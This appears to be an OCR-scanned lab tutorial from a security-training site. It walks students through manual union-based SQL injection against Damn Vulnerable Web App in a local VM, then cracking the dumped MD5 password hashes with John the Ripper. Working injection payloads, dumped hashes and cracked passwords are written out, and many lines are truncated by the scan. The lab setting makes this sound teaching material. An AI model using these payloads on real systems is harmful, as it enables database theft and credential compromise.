(Damn Vulnerable Web App (DVWA))

{ Manual SQL Injection, John the Ripper }

Section 0. Background Information

° What
(@]
(@]

e What
(@]
(@]
(@]

e What

is Damn Vulnerable Web App (DVWA)?

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application t
damn vulnerable.

Its main goals are to be an aid for security professionals to t
skills and tools in a legal environment, help web developers be
understand the processes of securing web applications and aid
teachers/students to teach/learn web application security in a
room environment.

is a SQL Injection?

SQL injection (also known as SQL fishing) is a technique often
attack data driven applications.

This is done by including portions of SQL statements in an entz
in an attempt to get the website to pass a newly formed rogue S
command to the database (e.g., dump the database contents to trl
attacker). SQL injection is a code injection technique that exr
security vulnerability in an application's software.

The vulnerability happens when user input is either incorrectly
for string literal escape characters embedded in SQL statements
input is not strongly typed and unexpectedly executed. SQL inje
mostly known as an attack vector for websites but can be used t
any type of SQL database.

is SQL Injection Harvesting?

SQL Injection Harvesting 1s where a malicious user supplies SQI
statements to render sensitive data such as usernames, pPassworc
database tables, and more.

e Pre-Requisite Lab

o

Damn Vulnerable Web App (DVWA): Lesson 1: How to Install DVWA in Fedora 14

e Lab Notes

o

In this lab we will do the following:


http://www.computersecuritystudent.com/SECURITY_TOOLS/DVWA/lesson1/index.html

1. We use inject always true SQL statements into the SQL Inje
User ID field with security set to low.

2. We will obtain the username and raw-MD5 password contents
users table.

3. We will use John the Ripper to crack the raw-MD5 password
each user.

e Legal Disclaimer

o As a condition of your use of this Web site, you warrant to
computersecuritystudent.com that you will not use this Web site
purpose that is unlawful or that is prohibited by these terms,
conditions, and notices.

o In accordance with UCC § 2-316, this product is provided with '
warranties, either expressed or implied." The information contse
provided "as-is", with "no guarantee of merchantability."

o In addition, this is a teaching website that does not condone n
behavior of any kind.

o Your are on notice, that continuing and/or using this lab outsi
"own" test environment is considered malicious and is against t

o © 2012 No content replication of any kind is allowed without ex
written permission.

Section 1: Configure Fedoral4 Virtual Machine Settings

1. Open Your VMware Player
o Instructions:

1. On Your Host Computer, Go To
2. Start --> All Program --> VMWare --> VMWare Player

2. Edit BackTrack Virtual Machine Settings
o Instructions:
1. Highlight fedorald
2. Click Edit virtual machine settings



fedoraiqd

State:
0S:
Version:
RAM:

Powered Off

Red Hat Linux
Workstation 6.5-7.x virtual machine
640 MB

[_E{l} Play virtual machine

Q
& Editvirtual machine settings

3. Edit Network Adapter

o

Instructions:
1. Highlight Network Adapter
2. Select Bridged
3. Click on the OK Button.



Hardware | Options

Device Summary De\noe status
% Memory 512M8 {_|Connected
[ Processors 1 [V] Connect at power on
mHard Disk (SCSI) 20GB .
£, CD/DVD (IDE) Auto detect Nﬁmﬂqnwwm
=4 Floppy Auto detect 2. WP © Bridged: Connected drrectly to the physical network
[P Reptcate physcal network connecton stae
e
U;;;mc::'" s ©) NAT: Used to share the host's IP address
=:printer Present ) Host-only: A private network shared with the host
Boisplay Auto detect & iiii 5
(LAN Segments... | [ Advanced...
L Add... ][ Remove ]

[ ok || cacel |[ Hep

Section 2: Login to Fedoral4

1. Start Fedorald4 VM Instance
o Instructions:

1. Start Up VMWare Player
2. Select Fedorali
3. Play virtual machine



fedoraiqg

State:
0S:
Version:
RAM:

Powered Off

Red Hat Linux

Workstation 6.5-7.x virtual machine
640 MB

[[__:s Play virtual machine

. ;
& Editvirtual machine settings

2. Login to Fedoral4

o

Instructions:

1. Login: student
<whatever you set it to>.

2. Password:



&P

Fedorald

< Student
| s J

Password: ||

BB engiish nited States) | v | atn (USA @ Sun 10:42 AM

ERELTTEEE vmware

Section 3: Open Console Terminal and Retrieve IP Address

1. Start a Terminal Console
o Instructions:

1. Applications --> Terminal



€3 ... ... |Places system @ . =" SunApr 1,10:45AM Stude
Y Accessories
0 Games

% Graphics
(a) Intemet
%4 office X N
) Sound & Video

- B Automatic Bug Reporting Tool
= CD/DVD Creator

S, Déja Dup Backup Tool

&) Disk Usage Analyzer

= Disk Utility

@ sEuinux Troubleshooter

&= Software Log Viewer

B8 System Monitor

Use the command line

.
To direct input 1o this vitual machine, press QG ™4 ?@&'&'ﬂfﬁm

2. Switch user to root
o Instructions:

1. su - root
2. <Whatever you set the root password to>



(6 wications piaces sysem @)

File Edit View Search Terminal Help

[student@Fedorald ~]$ su - root
Password:
[root@Fedorals ~]# ||

root@Fedorald:~

)

3. Get IP Address
o Instructions:
1. ifconfig -a
o Notes (FYI):
* As indicated below, my IP address is 192.168.1.106.
= Please record your IP address.



File Edit View Search Terminal Help
[root@Fedoral4 ~]# ifconfig -a

etho

lo

Link encap: Ethernet Hwaddr 00: ec 29:81:54:42

inet addr:ERISGEIREBLL

inet6 addr: fe88..26c.29ff fe81 5442/64 Scope Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:2893 errors:® dropped:0 overruns:0 frame:0

TX packets:366 errors:® dropped:® overruns:® carrier:0
collisions:0 txqueuelen:1000

RX bytes:546934 (534.1 KiB) TX bytes:58291 (56.9 KiB)
Interrupt:19 Base address:0x2000

Link encap:Local Loopback

inet addr:127.0.06.1 Mask:255.0.0.0

inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packets:48 errors:0 dropped:® overruns:® frame:0
TX packets:48 errors:0 dropped:® overruns:0 carrier:0
collisions:® txqueuelen:®

RX bytes:3520 (3.4 KiB) TX bytes:3520 (3.4 KiB)

[root@Fedorald ~]# |}

| B root@Fedorald:~ || @ Google - Mozilla Firefox |

o drect input 10 this vitual machine, press QiteG. ~d - e u0) are

Section 4: Configure BackTrack Virtual Machine Settings

1. Open Your VMware Player

Instructions:
1. On Your Host Computer, Go To
2. Start --> All Program --> VMWare --> VMWare Player

2. Edit BackTrack Virtual Machine Settings

Instructions:
1. Highlight BackTrack5R1
2. Click Edit virtual machine settings



aver rHeE Y Yt

3. Edit Network Adapter

o

Instructions:
1. Highlight Network Adapter
2. Select Bridged
3. Do not Click on the OK Button.

State:
0s:
Version:
RAM:

BackTrack5R1

Powered Off

Ubuntu

Workstation 6.5-7.x virtual machine
512 MB

E@ Play virtual machine

2
& Editvirtual machine settings <:



Device Summary
W% Memory S12M8
[ Processors 1

=aHard Disk (SCSI) 20GB
#)CD/DVD (IDE)  Auto detect
[ Floppy Auto detect
o Network Adapter  Bridged
EJUSB Controler  Present

Device status
Connected
[V] Connect at power on

Network connection

() NAT: Used to share the host's IP address

2. W © 8rdged: Connected drrectly to the physical network
["] Repicate physical network connection state

gmc‘d :’::;"“ © Host-only: A private network shared with the host
WDisplay Auto detect © LAN segment:
|LAN Segments... | | Advanced... |
| Add.. || Remove |
[ ox J[ cancel |[ hep

Section 5: Login to BackTrack

1. Start BackTrack VM Instance

o

Instructions:
1. Start Up VMWare Player
2. Select BackTrack5R1
3. Play virtual machine



gU BadTraksR1

RAM:

BackTrack5R1
State: Powered Off
0S: Ubuntu
Version: Workstation 6.5-7.x virtual machine

512 MB

EJ@ Play virtual machine @

2. Login to BackTrack
o Instructions:

1. Login: root

@
f Edit virtual machine settings

2. Password: toor or <whatever you changed it to>.



4 nuina&ﬂu Vﬂwmnnhwr File v Virtual Machine v Help ~ =y =

ll)plj[ u;]nt (c) 1‘1 i‘J /L a8 I >l (m poration
FDC 0 is a post-1991 82077
: pcne - .c:vl.35 Z21.Apr.2C tsbogend@alpha.franken.de
3.3605671 pcnet3Z 0000: _Zf.l1.0: PCI INT A -> GSI 19 (level, low) -> IR{ 19
3.3648711 agpgart-intel 0000:00:00.0: Intel 4 1OBX fhlp -
3.3685321 pcnet3Z: PCnet/PCI [ t : D : 29:90:13:78 assigned IRQ 19
; agpgart-intel 0000:00:00.0: AG ; e is Dx0
pcne etho: r
pcnet3Z2: 1 card
3.4046911 Fusion MPT SPI Host driver 3.04.18
3.408410) nptspi ll(l()() 00:10.0: PCI INT A -> GSI 17 (level, low) -> IRQ 17
: npfh(\ ¥ Initiating bringup
3.4882821 : LSIS3C1030 BO: Capabilities={Initiator}
'.ﬁ 61801 s iocO: LSIS3C1030 BO, FuRev=01032920h, Ports=1, M =128, IRQ=17
: : Direct-fAccess UNuware, VUNMware Virtual S 1.0 PQ: © ANSI: 2
D: Beginning Domain Validation
Domain Validation skipping write tests
; . mding Domain Validation
3.787761) 10:0: FAST-40 WIDE SCSI 80.0 MBrss ST (25 ns, offset 127)
3.794467) sd 'I‘ ): (s 41943040 512-byte logical blocks: (21.4 GB/20.0 GiB)
3.795671) sd 2 : s Hrite Protect is off
.795811) s :0:0 s Cache data unavailable
. 7958811 s¢ 0 s Assuming drive cache: write through
fittached scsi generic sgl type ©
[sdal]l Cache data unavailable
[sda]) Assuming drive cache: write through
sdaZ < sdaS >
: [sdal Cache data unavailable
. .‘d?‘»( sd 2:0:0:0: [sdal Assuming drive cache: write through
: _ﬂii?f;?.’] sd 2:0:0:0: [sdal Attached SCSI disk

BBackTrack 5 Ri ode Name Revolution 3Z bitht ttyl
bt login: root

Password:

o [Todrect inout 1o this vitual machine. press Crt+G. | - - (-] Ty oy o LG

3. Bring up the GNOME
o Instructions:

1. Type startx
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Section 6: Open Console Terminal and Retrieve IP Address

1. Open a console terminal
o Instructions:

1. Click on the console terminal
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ce hack | track [=

! I

Tommxomm.mw«? '

@)

2. Get IP Address
o Instructions:
l. ifconfig -a
o Notes (FYI):
» As indicated below, my IP address is 192.168.1.105.
» Please record your IP address.



root@bt:-# ifconfig -a

laces System Sun Mar 18, 10:51 AM

root@bt: ~

ethe Link encap. Waddr 06:8c:29:96:13:78
1¢ Bcast:192.168.1.255 Mask:255.255.255.0
grs29ff:fe90:1378/64 Scope:Link
up BROADCAST RUNNING MULTICAST MTU:15680 Metric:1
RX packets:870 errors:0 dropped:@ overruns:0 frame:0
TX packets:118 errors:0 dropped:0 overruns:® carrier:0
collisions:® txqueuelen:1660
RX bytes:105401 (105.4 KB) TX bytes:27674 (27.6 KB)
Interrupt:19 Base address:0x2000
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1l
RX packets:113 errors:0 dropped:® overruns:@ frame:0
TX packets:113 errors:@ dropped:® overruns:0 carrier:0
collisions:® txqueuelen:®
RX bytes:7793 (7.7 KB) TX bytes:7793 (7.7 KB)
root@bt:-# ||

[root@bt: /pentest/exp.. [root@bt: ~] 71 root@bt: ~ e

==

ERE) TS ele]  vmware

Section 7: Login to DVWA

1. Start Firefox
Instructions:

1. Click on Firefox

e}
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2. Login to DVWA
o Instructions:

1. Start up Firefox on BackTrack

2. Place http://192.168.1.106/dvwa/login.php in the address &
* Replace 192.168.1.106 with Fedora's IP address obtair

(Section 3, Step 3).

3. Login: admin

4. Password: password

5. Click on Login



Mon Apr 16, 6:14 AM A

*x Damn Vulnerable Web App (DVWA) - Login - Mozilla Firefox

Damn Vinerable Web App (OV... B3
< ©® | hitp/192.168.1.106/dvwa/login.php < vel gy Q|

DWA)

Username

admin ‘

Password

2 Damn Vulnerable Web .., =] root@bt: ~

1 Y9y 0

—

Section 8: Set Security Level

1. Set DVWA Security Level
o Instructions:
1. Click on DVWA Security, in the left hand menu.
2. Select "low"
3. Click Submit



Places Systen Mon Apr 16, 6:17 AM &

* Damn Vulnerable Web App (DVWA) v1.0.7 :: DVWA Security - Mozilla Firefox

Damn Vulnerable Web App (DV...

« © | hitp://192.168.1.106/dvwa/security.php vic| 4y Q

Home . DVWA Security »
Instructions |
Setup ] Script Security

Security Levei Is currently low.

Brute Force |

- You can set the security level to low, medium or high
Command Execution
- The secunty level changes the vulnerabiity level of DVWA,

llow v/ | suomi | <@em 3.

|

|
— W
SaL Injection (Blind)

B

|

|

¥ v.0.6 (PHP-intrusion Detection System) is a security layer for PHP based web applications
XSS reflected
You can enable PHPIDS across this site for the duration of your session
XSS stored

PHPIDS is cumrently disabled. [cnabie PHPIDS)

[ to attack] - [Viev ]

&) scripts Currently Forbidden | <SCRIPT>: 1 | <OBJECT>: 0

) Damn Vulnerable Web ... =] root@bt: -

Section 9: Manual SQL Injection

1. SQL Injection Menu
o Instructions:

1. Select "SQL Injection" from the left navigation menu.



oy || Mon Apr 16, 6:28 AM 2

* Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox

[ Damn Winerable Web App (DV...

i S | http:/192.168.1.106/dvwa/vulnerabilities/sqli/ vic! |2 Q|

\
D)
e | Vulnerability: SQL Injection
L J User ID:
More info

£ Damn Vuinerable Web ... =] root@bt: ~

2. Basic Injection
o Instructions:
1. Input "1™ into the text box.
2. Click Submit.
3. Note, webpage/code is supposed to print ID, First name, ar
to the screen.
o Notes (FYI):
* Below is the PHP select statement that we will be exploiti
specifically $id.
* Sgetid = "SELECT first name, last name FROM users WHERE user id
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Mon Apr 16, 6:30AM X
¥ Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox

Vulnerability: SQL Injection

|
J
: | User ID:
Setup |
I _E _sumit | < 2.
Brute Force | 10: 1
Command Execution | First name: admin
Surname: admin
CSRF |
File nciusion !
] More info
SQL Injection (Blind) |
Upload |
XSS reflected I
XSS stored. |
T ————————— e —
&) Scripts Currently Forbidden | <SCRIPT>: 1 | <OBJECT>: 0 Options...
™ ©) DamnWinerable Web ... ) root@bt: ~ ‘é‘

ERELET e vmware

3. Always True Scenario

o Instructions:

0. Input the below text into the User ID Textbox (See Picture
= %' or '0'='0

1. Click Submit

o Notes (FYI):
* In this scenario, we are saying display all record that ar

and all records that are true.

" %' - Will probably not be equal to anything, and wil
false.
» '0'='0"'" - Is equal to true, because 0 will always equ

* Database Statement
* mysqgl> SELECT first name, last name FROM users WHERE user id =
'0'="'0";
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* Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox

B Damn Vuinerable Web App (DV...

< S |8 http://192.168.1.106/dvwa/vulnerabilities/sqli?id=%25"+or+'0'%3D'0&Submit=Subm v | |3qv Q
o . Vulnerability: SQL Injection
. : User ID:

Setup
v 4] [ swm
Brute Force | ID: % or '0'="0
Command Execution I First name: admin
Surname: admin
CSRF |
ID: %" or 'B'="0
Flle Inclusion | First name: Gordon
[;:»\_,"--.u_f...,,,,.;‘,: II Surname: Brown
—— ID: %' or '0'='0
SQL Injection (Blind) | First name: Hack
Upload I Surname: Me
XSS reflocted | ID: %' or '0'«'0
First name: Pablo
XSS stored I Surname: Picasso

ID: %" or '8'='0
DVWA Security | First name: Bob

Surname: Smith

More info

4, Display Database Version
o Instructions:

0. Input the below text into the User ID Textbox (See Picture
= %' or 0=0 union select null, version() #
1. Click Submit
o Notes (FYI):
* Notice in the last displayed line, 5.1.60 is displayed in
surname.

= This is the version of the mysgl database.



.)f_‘

Mon Apr 16, 7:00AM 2

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox

B bamn Winerable Web App (DV...

&

Instructions |
Setup |

Brute Force
Command Execution
CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)
Upload

DVWA Securlty |
PHP Info |

)y Damn Winerable Web ...

5. Display Database User

o Instructions:
0.
. 2
o Notes (FYI):

* Notice in the last displayed line,

the surname.

S http://192.168.1.106/dvwa/vulnerabilities/sqli/?id=%25"+0r+0%3D0+union+select+n

v gy Q| ¢

Vulnerability: SQL Injection

User ID:

ID: %" or @
First name:
Surname: ad

ID: %" or O
First name:
Surname: Br

ID: %" or @
First name:
Surname: Me

ID: %" or ©
First name:
Surname: Pi

ID: % or ©
First name:
Surname: Sm

ID: %* or ©
First namg:
Surname:

%] root@bt: ~

Input the below text into the User ID Textbox
' or 0=0 union select null,

union select null, version() #

=0 union

Submit | <@ %' or 0=0 union select null, version() #
«0 union select null, version() #

admin
nin

=0 union select null, version() #
Gordon
own

«0 union select
Hack

null, version() #

=0 union select null, version() #

Pablo

casso

select null, version() #
Bob

ith

select null,

=0 union version() #

1.60 | <@ This is the version of the database

(See Picture

#

user ()

root@localhost is displ

= This is the name of the database user that executed the be
scenes PHP code.
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x Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox

B Damn Vuinerable Web App (DV...

6,] S http://192.168.1.106/dvwa/vulnerabilities/sqli/7id=%25'+or+0%30D0+union+select+n v-c; i?]v Q) S
i | Vulnerability: SQL Injection
Instructions | User ID:
Setup |

Submit « %" or 0=0 union select null, user() #

ID: %' or 00 union select null, user() #
First name: admin
Surname: admin

ID: %' or 0«0 union select null, user() #
First name: Gordon
Surname: Brown

I0: %' or 0«0 union select null, user() #
First name: Hack
Surname: Me

ID: %' or 9«0 union select null, user() #
First name: Pablo
Surname: Picasso

I0: %' or 0«0 union select null, user() #
First name: Bob
I Surname: Saith

PHP Info
About l ID{ L% ?v 9-0 union select null, user() #

First name:
Surname: [root@localhost | 4@ Database user that executed the command

) Damn VWilnerable Web ... ] root@bt: ~

6. Display Database Name

o Instructions:

0. Input the below text into the User ID Textbox (See Picture
= %' or 0=0 union select null, database() #

o Notes (FYI):

* Notice in the last displayed line, dvwa is displayed in tl
surname.

= This is the name of the database.
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*x Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox

[8 Damn Winerable Web App (DV... B3

S | http://192.168.1.106/dvwaivulnerabilities/sqlirtid=%25'+or+0%30D0+union+select+n

e | Vulnerability: SQL Injection

vie| [y Q| ¢

Instructions
| User ID:
Setup | )
Won select null, datadase() # | Submit | <@ %' or 0=0 union select null, database() #
Bruts Force | ID: %' or 8«D union select null, databasel() #
Command Execution | fu',T name: admnin
Surname: admin
CSRF ]
ID: %' or 0«0 union select null, database() #
Flle Inclusion I First name: Gordon
e e e T Surname: Brown
SQL Injection |
ID: %' or 8«0 union select null, database() #
$QL Injection (iind) J First name: Hack
Upload I Surname: Me
XSS reflected | I0: %' or 0«0 union select null, database() #
First name: Pablo
XSS stored | Surname: Picasso
. ID: %' or 0«0 union select null, database() #
DVWA Security | First name: Bob
PHP Info I Surnane: Seith
About | ID: %' or 0«0 union select null, database() #
First name:
Surname: [dvwa) € This is the name of the database

) Damn Vulnerable Web ... ] root@bt: ~ A

1R

7. Display all tables in information schema
o Instructions:
0. Input the below text into the User ID Textbox (See Picture
* %' and 1=0 union select null, table name from information schem
1. Click Submit
o Notes (FYI):
= Now we are displaying all the tables in the information sc
database.
= The INFORMATION SCHEMA is the information database, the pl
stores information about all the other databases that the
server maintains.



Mon Apr 16, 8:05 AM A
* Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox

[B) Damn Winerable Web App (DV... B3

« © BB htp/192.168,1.106/dvwa/vulnerabilities/sqlifid=2%25'+and+1%300+union+select+nullee2 v | [ Q

. Vulnerability: SQL Injection

%) Damn Winerable Web ... =) root@bt: ~

nformation_schema.tables # | Submit |4
ID: %" and 1«0 union select null, table name from information schesa.tables #
Surnase: [CHARACTER_SETS|<4m information_schema table name

1=0 union select null, table name from information schema,tables #

I0: %" and 1«0 union select null, table name from information schema.tables #

!

|

I 7 Tose]

l Surname: [COLLATIONS | 4@ information_schema table name
| Surnase: [COLLATION CHARACTER SET_APPLICABILITY| 4@ information_schema table name
| ID: %' and 1«8 union select null, table name from information schema.tables #
J Surname: [COLUMNS | 4m information_schema table name

ID: %' and 1«8 union select null, table name from information scheea,tables #

th. L|
Instructions I User ID:
setup |
Brute Force

FArst name:
CSRF

10: % and
Flle Inclusion First namel
mmﬂm First name:
Upload
XSS reflected
e First nage:
X88 stored
DVWA Socurity | First name:

%" and 1=0 union select null, table_name from information_schema.thd

8. Display all the user tables in information schema

o Instructions:

0. Input the below text into the User ID Textbox (See Picture
= %' and 1=0 union select null, table name from information schem
where table name like 'user$'#

1. Click Submit
o Notes (FYI):

* Now we are displaying all the tables that start with the r
"user" in the information schema database.
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* Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox

B Damn Wilnerable Web App (DV... B3

VVC' -"' Q

\'.4 S B http://192.168.1.106/dvwalvulnerabilities/sqii?id= %25 + and+ 1%3D0+ union+ select + null%2C+ table_name

DYWA)

b 1 Vulnerability: SQL Injection

User 1D:

%' and 1+0 union sedect null, table _name from information_schema. table where table name Hke ‘user®’
Submit | 4@

ID: % and 1«0 union select null, table nase from information schesa,tables whore table name Like ‘user
First name
Surnase: USER PRIVILEGES

20 table name 1Ko Userts s

ID: %' and 1«0 union select null, table nase from information schesa,tables whe
First nape:
Surnase: [users |4 This is the user's table that contains the password information

re table nase Like ‘user

10: %' and 1«0 union select null, table name from information schesa . tables w
First name

hifre table nase Like ‘user

Surname: user

More info
. N —————————eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeAAAAAAAAAe e
& Scripts Currently Forbidden | <SCRIPT>: 1 | <OBJECT>: 0

= » Damn Winerable Web

root@bt: ~

To drect Irout 1o thes wiual machine. press Q-G

9. Display all the columns fields in the information schema user table
o Instructions: -
0. Input the below text into the User ID Textbox (See Picture
* %' and 1=0 union select null,
concat (table name,Ox0a,column name) from
information schema.columns where table name = 'users'
1. Click Submit
o Notes (FYI):
* Now we are displaying all the columns in the users table.
= Notice there are a user id, first name, last name, user ar
Password column.
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b

Lo S B http:/192.168.1.106/dvwanvuinerabilities/sqli?id=%25' +and+1%3D0+union+select+r v | (3 v Q

Suwp | -
vhere table_name = ‘users's | Submit |
Brute Force | ID: %' and 1«0 union select null, concat(table name,0x@a,column name) from
Command Execution | First nase:
Surname: users
CSRF | user id ‘ This is the "user_id™ column name
Flle Inclusion | ID: %' and 1«0 union select null, concat(table name,0x8a,colusn name) from
[EA,:.-’:_,,-,,,.,T-,;.W JJ First name:
e i, At Surname: users
SQL Injection (Blind) first_name € This is the “first_name” column name
Upload ID: %' and 1«0 union select null, concat(table name,0x8a,column name) from

. l First name:
XSS refloctod | Surname: users

last_name < This is the “last_name” column name

ID: %' and 1«0 union select null, concat(table name,6x8a,columsn name) from

First name:
DVWA Security | Surname: users
Se ke & - -
PHP Info | user ‘ This is the "users™ column name
About I ID: %' and 1«8 union select null, concat(table name,6x0a,column name) from

First name:
Surname: users

Logout | m ‘ This is the "password™ column name

ID: %' and 1«0 union select null, concati{table name,dx@a,colusn nase) from
First name:

Surname: users

avatar

| A
1 gm0y W

10. Display all the columns field contents in the information schema use
o Instructions:
0. Input the below text into the User ID Textbox (See Picture

= %' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,pass
#

1. Click Submit
o Notes (FYI):
= Now we have successfully displayed all the necessary authe
information into this database.
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< © | http//192.168.1.106/dvwavuinerabilities/sqli/7id=%25'+and+1%3D0+union+select+r v | [

Vulnerability: SQL Injection

User ID:

ri()a‘passwom)ffom usors # | Submit |

ID: %' and 1«0 union select null, concat(first name,Ox0a,last name,b Ox0a,user,0xPa,password) from users
First name:

Surname: SRR

admin Contents of the users table, including the
password field

5f4dcc3b5aa765061d8327debB82c 195

ID: %' and 1«0 union select null, concat(first name,L8x0a,last name,L 0x8a,user,0xPa, password) from users
First name:

Surname: Gordon

Brown Contents of the users table, including the
gordonb password field
€99a18c428¢chb38d51260853678922¢03

ID: %' and 1«0 union select null, concat(first name,Ox0a, last name, 0xPa, user,0x@a, password) from users
First name:

Surname: Mack

Me Contents of the users table, including the
1337 password field
8d3533d758e2¢3966d7¢0d4fcc69216b

ID: %' and 1«0 union select null, concat(first name,Ox8a,last name, 0x0a,user,0xda, password) from users
First name:

- )

© Scripts Currently Forbidden | <SCRIPT>: 1| <OBJECT>: 0

) Damn Winerable Web ...

| Options... !
Click to switch to *Desk

=] root@bt: /pentest/pass

Section 10: Create Password Hash File

1. Create Password Hash File
o Instructions:

1. Highlight both admin and the password hash
2. Right Click
3. Copy



" Mon Apr 16, 11:04 AM &

* Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: SQL Injection - Mozilla Firefox
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~ © B http192.168.1.106/dvwavulnerabilities/sqli7id=%25'+and+1%3D0+union+select+r v | |8 v ‘Q
WOV

nOn,pauwotdi from J-ao:.n Submit

ID: %' and 1«8 union select nul
First name:

Surname: admin

adain

0a,user,0xPa, password) from users

1. -
‘ f4dcc3b5aa765d61d8327debB82¢c 19 G

ID: %' and 1«8 union select null,
First name:

Surname: Gordon

Brown

concat(first name, 0x8a,last name,0x0a,user,0xPa, password) from users

> gordonb
2. 299a18c428cb38451260853678922e03

I0: %' and 1«0 union select null, concat(first name, O0x0a,last name,0x0a,user,0xPa, password) from users
First name:
Surname: Hack
Me

3 1337
3 843533d75ae2c3966d7e0d4fcc69216b
ID: %' and 1«8 union select null, concat(first name, 0xBa,last name, 0x0a, user,0xPa, password) from users

First name:
Surname: Pablo

Picasso
pablo
A INTAB9f ShhndAcadeideSe i\c-Qth‘l
-
GD Scripts Currently Forbidden | <SCRIPT>: 1 | <OBJECT>: 0 Qpﬂons“.l
s % Damn Vulnerable Web ... ] root@bt: /Jpentest/pass m SQLdict ii'_ ¥
To deact input 1o this vitual machine, press QoG — Ao e vmware

2. Open Notepad

o

Instructions:
1. Applications --> Wine --> Programs --> Accessories —--> Not
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2.168,1.106/dvwa/vulnerabilities/sqli/?id=%25"'+and+1%3D0+union+select+r IR L Q

users # | Submit

name,0x0a, last

null,

name,0x0a,user ,0x0a,password) from users

inton select concat(first

I0: %' and 1«0 rst_name,0x8a,last name,0x0a,user,0x0a,password) from users
First name:
Surnane: Gordornglg
Brown e
gordonb

€99a18¢c428¢cb38d51260853678922¢03

I0: %" and 1«0 union select null, concat(first name,0x0a,last name,0x0a,user,0x0a,password) from users
First name:

Surname: Hack

He

1337
Bd3533d75ae2c3966d7e0ddfcc69216b

ID: &' and 1«8 union select null, concat(first name,®x0a,last name,Bx0a,user,0xPa,password) from users
First name:

Surname: Pablo

Picass

pablo
Ad1A7dAafShhedAcadeideSe 11e0aahT

< o

& Scripts Currently Forbidden | <SCRIPT>: 1 | <OBJECT>: 0 | Options... |
M SQLdict ‘

3. Paste in Notepad
o Instructions:

1. Edit --> Paste



4 Heb8B2ci99 -
: s +select4r  v/C 2 ERE Q

IAJAAEAAAEEAA, Luser,0:Pa, password) from users

,user,0:0a,password) from users

,user,0xPa, password) from users

Zi

10: %' and 1«0 union select null, concat(first name,0x0a,last name,B8x0a user, 0xPa, password) from users
First name:
Surname: Pablo

Picasso
pablo
AdIATdASfShhedAcadeideScT leQaah i
-
&) Scripts Currently Forbidden | <SCRIPT>: 1 | <OBJECT>: 0 | Options...
O 0 Da
To deect input to this visual machne. press QideG. EREl T A . are

4. Format in Notepad
o Instructions:
1. Place a ":" immediately after admin
2. Make sure your cursor is immediately after the ":" and hit
delete button.
3. Now you should see the user admin and the password hash se
by a ":" on the same line.
4. Cut the username and password combinations for gordonb, 1-
pablo, and smitty from (Section 11, Step 1) and paste in t
as well.
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Untitled - Notepad

Ele [t Jearch Heb
admin:5(4dcc3b5aaZ65d61d8327debBB2c199

+select+r v ¢ [&v Q)

,user,0xPa, password) from users

Luser ,0xPa, password) from users

Luser ,0xPa, password) from users

=
ID: %' and 1«0 union select null, concat(first name,0x0a,last name, 8x0a, user,0xPa, password) from users

First name:
Surname: Pablo

Picasso

pablo

AdIAZ24A9fShhedAcadeideSc 2 1eto0h?
< _I
&) Scripts Currently Forbidden | <SCRIPT>: 1 | <OBJECT>: 0 Options... |

[E Untitled - Notepad b

it L

5. Save in Notepad
o Instructions:
1. Navigate to --> /pentest/passwords/john
2. Name the file name --> dvwa password.txt
3. Click Save
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>

Flepsme:  |dvwa_password.tet * | Save I

Files of bype: [Text Files (*.08) 2 | Cancel I

Encodeg:  [anst Latn 1 =] 4
Z

= 2 Damn Winerable Web . root@bt: /pentest/pass £ Untitled - Notepad L A
W= A0

1. Proof of Lab

o

e}

Instructions:
1. Bring up a new terminal, see (Section 7, Step 1)
2. cd /pentest/passwords/john
3. ./john --format=raw-MD5 dvwa password.txt
4. date
5. echo "Your Name"
* Replace the string "Your Name" with your actual name.
" e.g., echo "John Gray"
Proof of Lab Instructions:
1. Do a <PrtScn>
2. Paste into a word document
3. Upload to Moodle
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root@bt: /pentest/passwords/john

root@bt: '# cd /pentest/passwords/john/
root@bt: /pentest/passwords/john#
root@bt: /pentest/passwords/john# ./john --format=raw-MD5 dvwa password.txt
Loaded 5 password hashes with no different salts (Raw MD5 [raw-md5 SSE2 16x4])

abc123 (gordonb)
password (adain)
password (smithy)
letmein (pablo)
charley (1337)

lguesses: S time: 0:00:00:00 (3) c/s: 317960 trying: charter - charkli
root@bt:/pentest/passwords/john#

root@bt: /pentest/passwords/john# date

fMon Apr 16 11:34:09 CDT 2012

root@bt: /pentest/passwords/john#

root@bt: /pentest/passwords/john# echo “Your Name®

Your Name

root@bt: /pentest/passwords/john# ||

% Damn Winerable Web

root@bt: jpentest/pass... B dvwa_password.txt - N




